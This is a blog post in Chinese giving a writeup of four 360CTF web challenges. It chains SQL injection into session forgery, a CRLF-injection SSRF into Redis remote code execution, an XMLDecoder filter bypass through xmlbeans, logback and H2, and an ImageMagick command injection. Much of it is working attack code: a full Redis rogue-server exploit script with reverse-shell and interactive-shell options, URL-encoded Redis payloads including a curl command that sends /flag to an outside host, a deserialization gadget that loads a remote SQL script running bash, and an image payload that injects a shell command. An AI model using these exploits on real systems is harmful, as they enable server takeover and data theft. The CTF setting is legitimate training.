刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

360CTF初赛web题目 writeup

1、立誓要成为admin的男人

题目类型:Web

解题思路:

1.注册test用户,然后登陆,得到提示you are not admin;

1.jpg

2.回头看看,在登录处发现SQL盲注漏洞;



1.jpg

1.jpg

3.注出了user表的数据但是admin的密码没法解密。数据库用户为root,尝试读取文件/etc/passwd;



1.jpg

4.可以读取文件,说明数据库root用户存在file权限。尝试读取站点文件

/var/www/html/index.php

1.jpg

5.读取站点文件失败,尝试往站点写入shell;



1.jpg

6.访问404,没有写shell成功,说明mysql没有apache站点目录的可读可写权限。

7.扫描站点目录,发现test.php



1.jpg

8.访问test.php,如果登录过,会打印当前的用户名,猜测为session;



1.jpg

9. 既然sql注入有file权限,那应该可以往/tmp目录写入文件。而session文件保存路径也在/tmp目录,参照test.php的格式构造session序列化字符串伪造成admin的身份,通过sql注入写入到/tmp目录中一个不存在的session文件。



1.jpg

10.修改sessions id然后访问index.php,伪造admin用户成功,拿到了flag;



1.jpg

答案:flag{7d403b08fa188e5d1a208d07e90ad084}

2、用Python写的一个网站好像还没有写完?

题目类型:Web

解题思路:

1.打开网站,输入

http://www.baidu.com

并提交,发现显示百度页面。发现存在SSRF漏洞,测试发现只能使用http协议。

1.jpg

2.查看请求头,发现服务器使用了nginx,后端python版本为3.6.5。



1.jpg

3.猜测存在nginx目录穿越漏洞,访问

http://127.0.0.1:8000/static../main.py

可直接下载源码。

1.jpg

4.通过源码可以看出,服务器对请求的URL进行了判断,只能请求http://开头的。查找python历史漏洞,发现python3.6.5的urllib库存在http头注入漏洞。

https://bugs.python.org/issue35906

5. 进行测试,确认存在http头注入漏洞:

1.jpg

1.jpg

6.所以该题的思路就为:利用http头注入,攻击内网redis,获取redis服务器权限。

7.借用

https://github.com/Ridter/redis-rce/blob/master/redis-rce.py

#!/usr/bin/env python
# coding:utf-8
import socket
import os
import sys
import re
from time import sleep
import argparse
from six.moves import input

CLRF = "\r\n"
LOGO = R"""
█▄▄▄▄ ▄███▄   ██▄   ▄█    ▄▄▄▄▄       █▄▄▄▄ ▄█▄    ▄███▄   
█  ▄▀ █▀   ▀  █  █  ██   █     ▀▄     █  ▄▀ █▀ ▀▄  █▀   ▀  
█▀▀▌  ██▄▄    █   █ ██ ▄  ▀▀▀▀▄       █▀▀▌  █   ▀  ██▄▄    
█  █  █▄   ▄▀ █  █  ▐█  ▀▄▄▄▄▀        █  █  █▄  ▄▀ █▄   ▄▀ 
  █   ▀███▀   ███▀   ▐                  █   ▀███▀  ▀███▀   
 ▀                                     ▀                   
"""

def mk_cmd_arr(arr):
    cmd = ""
    cmd += "*" + str(len(arr))
    for arg in arr:
        cmd += CLRF + "$" + str(len(arg))
        cmd += CLRF + arg
    cmd += "\r\n"
    return cmd


def mk_cmd(raw_cmd):
    return mk_cmd_arr(raw_cmd.split(" "))


def din(sock, cnt):
    msg = sock.recv(cnt)
    if verbose:
        if len(msg) < 300:
            print("\033[1;34;40m[->]\033[0m {}".format(msg))
        else:
            print("\033[1;34;40m[->]\033[0m {}......{}".format(msg[:80], msg[-80:]))
    if sys.version_info < (3, 0):
        res = re.sub(r'[^\x00-\x7f]', r'', msg)
    else:
        res = re.sub(b'[^\x00-\x7f]', b'', msg)
    return res.decode()


def dout(sock, msg):
    if type(msg) != bytes:
        msg = msg.encode()
    sock.send(msg)
    if verbose:
        if sys.version_info < (3, 0):
            msg = repr(msg)
        if len(msg) < 300:
            print("\033[1;32;40m[<-]\033[0m {}".format(msg))
        else:
            print("\033[1;32;40m[<-]\033[0m {}......{}".format(msg[:80], msg[-80:]))


def decode_shell_result(s):
    return "\n".join(s.split("\r\n")[1:-1])


class Remote:
    def __init__(self, rhost, rport):
        self._host = rhost
        self._port = rport
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._sock.connect((self._host, self._port))


    def send(self, msg):
        dout(self._sock, msg)

    def recv(self, cnt=65535):
        return din(self._sock, cnt)

    def do(self, cmd):
        self.send(mk_cmd(cmd))
        buf = self.recv()
        return buf

    def close(self):
        self._sock.close()

    def shell_cmd(self, cmd):
        self.send(mk_cmd_arr(['system.exec', "{}".format(cmd)]))
        buf = self.recv()
        return buf

    def reverse_shell(self, addr, port):
        self.send(mk_cmd("system.rev {} {}".format(addr, port)))


class RogueServer:
    def __init__(self, lhost, lport, remote, file):
        self._host = lhost
        self._port = lport
        self._remote = remote
        self._file = file
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._sock.bind(('0.0.0.0', self._port))
        self._sock.settimeout(15)
        self._sock.listen(10)

    def handle(self, data):
        resp = ""
        phase = 0
        if data.find("PING") > -1:
            resp = "+PONG" + CLRF
            phase = 1
        elif data.find("REPLCONF") > -1:
            resp = "+OK" + CLRF
            phase = 2
        elif data.find("PSYNC") > -1 or data.find("SYNC") > -1:
            resp = "+FULLRESYNC " + "Z" * 40 + " 0" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            phase = 3
        return resp, phase

    def close(self):
        self._sock.close()

    def exp(self):
        try:
            cli, addr = self._sock.accept()
            print("\033[92m[+]\033[0m Accepted connection from {}:{}".format(addr[0], addr[1]))
            while True:
                data = din(cli, 1024)
                if len(data) == 0:
                    break
                resp, phase = self.handle(data)
                dout(cli, resp)
                if phase == 3:
                    break
        except Exception as e:
            print("\033[1;31;m[-]\033[0m Error: {}, exit".format(e))
            cleanup(self._remote, self._file)
            exit(0)
        except KeyboardInterrupt:
            print("[-] Exit..")
            exit(0)


def reverse(remote):
    print("[*] Open reverse shell...")
    addr = input("[*] Reverse server address: ")
    port = input("[*] Reverse server port: ")
    remote.reverse_shell(addr, port)
    print("\033[92m[+]\033[0m Reverse shell payload sent.")
    print("[*] Check at {}:{}".format(addr, port))


def interact(remote):
    print("\033[92m[+]\033[0m Interactive shell open , use \"exit\" to exit...")
    try:
        while True:
            cmd = input("$ ")
            cmd = cmd.strip()
            if cmd == "exit":
                return
            r = remote.shell_cmd(cmd)
            if 'unknown command' in r:
                print("\033[1;31;m[-]\033[0m Error:{} , check your module!".format(r.strip()))
                return
            for l in decode_shell_result(r).split("\n"):
                if l:
                    print(l)
    except KeyboardInterrupt:
        return

def cleanup(remote, expfile):
    # clean up
    print("[*] Clean up..")
    remote.do("CONFIG SET dbfilename dump.rdb")
    remote.shell_cmd("rm ./{}".format(expfile))
    remote.do("MODULE UNLOAD system")
    remote.close()

def printback(remote):
    back = remote._sock.getpeername()
    print("\033[92m[+]\033[0m Accepted connection from {}:{}".format(back[0], back[1]))


def runserver(rhost, rport, lhost, lport):
    # get expolit filename
    expfile = os.path.basename(filename)
    #start exploit
    try:
        remote = Remote(rhost, rport)
        if auth:
            check = remote.do("AUTH {}".format(auth))
            if "invalid password" in check:
                print("\033[1;31;m[-]\033[0m Wrong password !")
                return
        else:
            info = remote.do("INFO")
            if "NOAUTH" in info:
                print("\033[1;31;m[-]\033[0m Need password.")
                return


        print("[*] Sending SLAVEOF command to server")
        remote.do("SLAVEOF {} {}".format(lhost, lport))
        printback(remote)
        print("[*] Setting filename")
        remote.do("CONFIG SET dbfilename {}".format(expfile))
        printback(remote)
        sleep(2)
        print("[*] Start listening on {}:{}".format(lhost, lport))
        rogue = RogueServer(lhost, lport, remote, expfile)
        print("[*] Tring to run payload")
        rogue.exp()
        sleep(2)
        remote.do("MODULE LOAD ./{}".format(expfile))
        remote.do("SLAVEOF NO ONE")
        print("[*] Closing rogue server...\n")
        rogue.close()
        # Operations here
        choice = input("\033[92m[+]\033[0m What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: ")
        if choice.startswith("i"):
            interact(remote)
        elif choice.startswith("r"):
            reverse(remote)
        elif choice.startswith("e"):
            pass

        cleanup(remote, expfile)

        remote.close()
    except Exception as e:
        print("\033[1;31;m[-]\033[0m Error found : {} \n[*] Exit..".format(e))

def main():
    parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules')
    parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
    parser.add_argument("-p", "--rport", dest="rport", type=int,
                        help="target redis port, default 6379", default=6379)
    parser.add_argument("-L", "--lhost", dest="lhost", type=str,
                        help="rogue server ip", required=True)
    parser.add_argument("-P", "--lport", dest="lport", type=int,
                        help="rogue server listen port, default 21000", default=21000)
    parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp_lin.so')
    parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
    parser.add_argument("-v", "--verbose", action="store_true", help="show more info", default=False)
    options = parser.parse_args()
    # runserver("127.0.0.1", 6379, "127.0.0.1", 21000)

    print("[*] Connecting to  {}:{}...".format(options.rhost, options.rport))
    global payload, verbose, filename, auth
    auth = options.auth
    filename = options.file
    verbose = options.verbose
    if os.path.exists(filename) == False:
        print("\033[1;31;m[-]\033[0m Where you module? ")
        exit(0)
    payload = open(filename, "rb").read()
    runserver(options.rhost, options.rport, options.lhost, options.lport)


if __name__ == '__main__':
    print(LOGO)
    main()

利用脚本,修改脚本为本地的redis-poc.py,且利用其中的mk_cmd函数进行命令的构造。

8.完整攻击步骤:

step 1, 开启恶意redis服务(附件下载)

python redis-poc.py -r 127.0.0.1 -p 6379 -L 0.0.0.0 -P
7789 -f exp.so

step 2,设置redis的主服务器为恶意redis服务.

auth password123                //

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

SLAVEOF 192.168.21.1 7789       //

*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a

CONFIG SET dbfilename exp.so    //

*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a

curl http://127.0.0.1:8000/ -XPOST --data

'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a'

1.jpg

1.jpg

step 3 加载恶意模块

auth password123                //

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

MODULE LOAD ./exp.so            //

*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a

SLAVEOF NO ONE                  //

*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a

curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a%0d%0a'

1.jpg

step 4 执行命令,因为无回显,所以利用curl命令把flag文件传输出去

auth password123                //

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

system.exec 'curl -F "file=@/flag"

http://192.168.21.1:7789'    //

*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a

curl http://127.0.0.1:8000/ -XPOST --data

'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a'

1.jpg

1.jpg

step 5 删除恶意模块,关闭恶意模块。

auth password123                //

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

CONFIG SET dbfilename dump.rdb  //

*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a

system.exec 'rm ./exp.so'       //

*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a

MODULE UNLOAD system            //

*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a

curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a%0d%0a

3、最近在学习编程,这是我刚开发的博客,你能找到问题么?

题目类型:Web

解题思路:

1.首先打开网站,在测试注册功能的时候在前端可以看到如下的代码:



1.jpg

2.因此猜测后端有XMLDecoder的反序列化漏洞。于是进行尝试,首先根据获取到的源码解压然后反编译可以得到如下:



1.jpg

3.其中的重点是使用了XMLDecodeFilter这个类将前端传入的数据执行了反序列化处理,根据导入包的关系找到

XMLDecodeFilter这个类,定义如下:

1.jpg

4.该类的readObject方法是直接调用XMLDecoder的readObject方法的,但是这里如果仅仅如此的话,那就丝毫没有难度了,因此向上找可以看到一个构造器:

1.jpg


5.可以看到其中会多进行一步validate函数的处理,根据函数名称来猜测这里是过滤方法,跟进可以看到如下:



1.jpg


6.果然是过滤方法,这里的过滤让我想起了weblogic的过滤,梳理一下得到如下结果:

(1)过滤了class标签

(2)过滤了new标签

(3)过滤了method标签

(4)void标签中只允许使用index属性

(5)object标签只允许使用class属性,并且限制了属性可以调用        的类

(6)限制了array标签length的最大长度

7.打开XMLDecoder的类发现基本没有可用的标签了,但是还剩下三个。java, field和property。

1.jpg

1.jpg


8.其中java标签没法使用,剩下的这两个标签,官方描述信息如下:

参考的链接地址:

 https://docs.oracle.com/javase/9/docs/api/java/beans/XMLEncoder.html

9.这里可以得到的一个有价值的信息是,property可以调用一个类的getter和setter。因此利用这个可以做很多事情,比如利用fastjson,Jackson漏洞的利用链等。

10.另外一个标签field需要简单去读一下代码,可以发现主要的功能是可以对类的静态字段进行写操作。

11. 进行到这里,思路就成了,如何找到一个类,通过调用它的getter和setter方法实现命令执行?property标签在调用一个类的getter和setter方法的时候是没有类似name的属性可以直接去指定是哪个类的,因此外层就只能够通过field标签来得到“那个对象”了。但是field只能设置静态字段,怎么利用呢?

12.此时可以看到代码的pom.xml的依赖库描述文件中有提示信息如下:

1.jpg

13.于是重点关注了一下这个包,现在需要思考的是,需要在这个包中找到一个类,有一个public的静态字段,该字段的类型的类中需要有一个合适的getter和setter,getter的返回类型为class,setter的参数表为String类型,这样串联起来,可以首先通过field标签调用该类的静态字段对象的setter,然后再去使用property的getter来获得到一个类。然后再去调用得到类的getter和setter就可以实现利用了!

14.找到的类如下:



1.jpg


15.该类中的ST_ANY_TYPE满足public static,类型为SchemaTypeImpl, 跟进:



1.jpg


16.然后getter如下:



1.jpg

17.首先通过setFullJavaName可以设置_fullJavaName的值,然后调用getJavaClass方法的时候将会利用类加载加载到该类。写出来利用代码如下:

<?xml version="1.0" encoding="UTF-8"?>

<java version="1.8.0_211"

class="java.beans.XMLDecoder">

<field id="publicStaticField" name="ST_ANY_TYPE"

class="org.apache.xmlbeans.impl.schema.BuiltinSchemaTypeSystem">

<property id="propertySet" name="fullJavaName">

            <string>你需要的类</string>

        </property>

    </field>

    <var id="evilClass" idref="publicStaticField">

        <property id="propertyGet" name="javaClass">

            <void>

            这里可以调用这个类的构造器或者是getter和setter来实现命令执行

            </void>

        </property>

    </var>

</java>

18.接下来就是所需要Gadgets的选择问题了:

依赖库中使用了h2数据库,并且spring boot的默认依赖库中有日志记录的包logback。因此可以利用之前Jackson出现过的那个绕过。当然还可以利用jndi注入,类似fastjson的利用链。但是那些利用链需要jdk 版本较低,而目标环境较高,因此至此只能做罢。

19.最终的利用代码如下:

<?xml version="1.0" encoding="UTF-8"?>

<java version="1.8.0_211"

class="java.beans.XMLDecoder">

    <field id="publicStaticField" name="ST_ANY_TYPE" class="org.apache.xmlbeans.impl.schema.BuiltinSchemaTypeSystem">

<property id="propertySet" name="fullJavaName">

            <string>ch.qos.logback.core.db.DriverManagerConnectionSource</string>

        </property>

    </field>

    <var id="evilClass" idref="publicStaticField">

        <property id="propertyGet" name="javaClass">

            <void>

                <property name="url">

                    <string>jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INI

T=RUNSCRIPT FROM

'http://localhost:8000/exec.sql'</string>

                </property>

                <property name="connection">

                    <void></void>

                </property>

            </void>

        </property>

    </var>

</java>

exec.sql文件内容:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {

    String[] command = {"/bin/bash", "-c", cmd};

    java.util.Scanner s = new

java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\A");

    return s.hasNext() ? s.next() : "";  }

$$;

CALL SHELLEXEC('touch /tmp/123')

文章中所使用测试工具下载:

https://yunpan.360.cn/surl_yuRH7HVwvwj

(提取码:b528)

ssrf_poc.zip

4、真实的环境中,充满了未知,漏洞与函数的拼接,能否绕过?

题目类型:web

解题思路:

1.打开web站点,是一个登陆页面,需要进行爆破来登陆进去,通过爆破得到账号密码:

admin/1qaz@WSX

1.jpg

2.登陆成功以后为一个上传点,f12会提示一些内容:

1.jpg

根据图片大小,想到getimagesize函数。

3.利用imagemagick+getimagesize 进行代码执行漏洞

具体漏洞原理可参考:

https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html#0x03-getimagesizeimagemagickpoc

payload:

push graphic-context

viewbox 0 0 640 480

fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'

pop graphic-context

#define xlogo_width 200

#define xlogo_height 200

4.利用curl将shell get

到/var/www/images 目录下,读取flag文件。

1.jpg

发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.